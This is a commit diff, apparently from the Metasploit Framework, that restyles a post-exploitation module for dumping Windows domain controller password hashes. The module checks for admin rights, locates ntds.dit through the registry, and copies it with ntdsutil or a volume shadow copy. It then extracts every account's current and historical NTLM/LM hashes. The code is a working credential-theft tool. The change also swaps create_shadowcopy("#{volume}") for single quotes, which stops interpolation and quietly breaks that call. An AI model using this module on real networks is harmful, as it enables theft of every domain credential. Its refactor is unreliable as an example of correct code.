Make rubocop less mad

Author: bwatters-r7

modules/post/windows/gather/credentials/domain_hashdump.rb

@@ -14,23 +14,28 @@ class MetasploitModule < Msf::Post
   include Msf::Post::File
   include Msf::Post::Windows::ExtAPI
 
-  def initialize(info={})
-    super(update_info(info,
-      'Name'          => 'Windows Domain Controller Hashdump',
-      'Description'   => %q{
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+      'Name'         => 'Windows Domain Controller Hashdump',
+      'Description'  => %q(
         This module attempts to copy the NTDS.dit database from a live Domain Controller
         and then parse out all of the User Accounts. It saves all of the captured password
         hashes, including historical ones.
-  },
-      'License'       => MSF_LICENSE,
-      'Author'        => ['theLightCosine'],
-      'Platform'      => [ 'win' ],
-      'SessionTypes'  => [ 'meterpreter' ]
-  ))
-    deregister_options('SMBUser','SMBPass', 'SMBDomain')
+        ),
+      'License'      => MSF_LICENSE,
+      'Author'       => ['theLightCosine'],
+      'Platform'     => [ 'win' ],
+      'SessionTypes' => [ 'meterpreter' ]
+      )
+    )
+    deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
     register_options(
-      [OptBool.new('CLEANUP',
-          [ true, 'Automatically delete ntds backup created', true])])
+      [OptBool.new(
+        'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
+      )]
+    )
   end
 
   def run
@@ -59,7 +64,7 @@ def run
             ad_account.nt_history.each_with_index do |nt_hash, index|
               hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
               hash_string << ":#{nt_hash}"
-              report_hash(hash_string.downcase,ad_account.name, realm)
+              report_hash(hash_string.downcase, ad_account.name, realm)
             end
           end
         end
@@ -76,19 +81,19 @@ def run
   def copy_database_file
     database_file_path = nil
     case  sysinfo["OS"]
-      when /2003| \.NET/
-        print_status "Using Volume Shadow Copy Method"
-        database_file_path = vss_method
-      when /2008|2012|2016/
-        print_status "Using NTDSUTIL method"
-        database_file_path = ntdsutil_method
-      else
-        print_error "This version of Windows is unsupported"
+    when /2003| \.NET/
+      print_status "Using Volume Shadow Copy Method"
+      database_file_path = vss_method
+    when /2008|2012|2016/
+      print_status "Using NTDSUTIL method"
+      database_file_path = ntdsutil_method
+    else
+      print_error "This version of Windows is unsupported"
     end
     database_file_path
   end
 
-  def is_domain_controller?
+  def domain_controller?
     if ntds_location
       file_exist?("#{ntds_location}\\ntds.dit")
     else
@@ -97,13 +102,13 @@ def is_domain_controller?
   end
 
   def ntds_location
-    @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory")
+    @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\", "DSA Working Directory")
   end
 
   def ntdsutil_method
-    tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
+    tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
     command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
-    result = cmd_exec("ntdsutil.exe", command_arguments,90)
+    result = cmd_exec("ntdsutil.exe", command_arguments, 90)
     if result.include? "IFM media created successfully"
       file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
       print_status "NTDS database copied to #{file_path}"
@@ -115,15 +120,14 @@ def ntdsutil_method
     file_path
   end
 
-
   def preconditions_met?
     if is_admin?
       print_status "Session has Admin privs"
     else
       print_error "This module requires Admin privs to run"
       return false
     end
-    if is_domain_controller?
+    if domain_controller?
       print_status "Session is on a Domain Controller"
     else
       print_error "This does not appear to be an AD Domain Controller"
@@ -136,7 +140,7 @@ def preconditions_met?
     return true
   end
 
-  def repair_ntds(path='')
+  def repair_ntds(path = '')
     arguments = "/p /o \"#{path}\""
     cmd_exec("esentutl", arguments)
   end
@@ -171,12 +175,12 @@ def vss_method
       fail_with(Failure::NoAccess, "Unable to start VSS service")
     end
     location = ntds_location.dup
-    volume = location.slice!(0,3)
-    id = create_shadowcopy("#{volume}")
+    volume = location.slice!(0, 3)
+    id = create_shadowcopy('#{volume}')
     print_status "Getting Details of ShadowCopy #{id}"
     sc_details = get_sc_details(id)
     sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
-    target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
+    target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
     print_status "Moving ntds.dit to #{target_path}"
     move_file(sc_path, target_path)
     target_path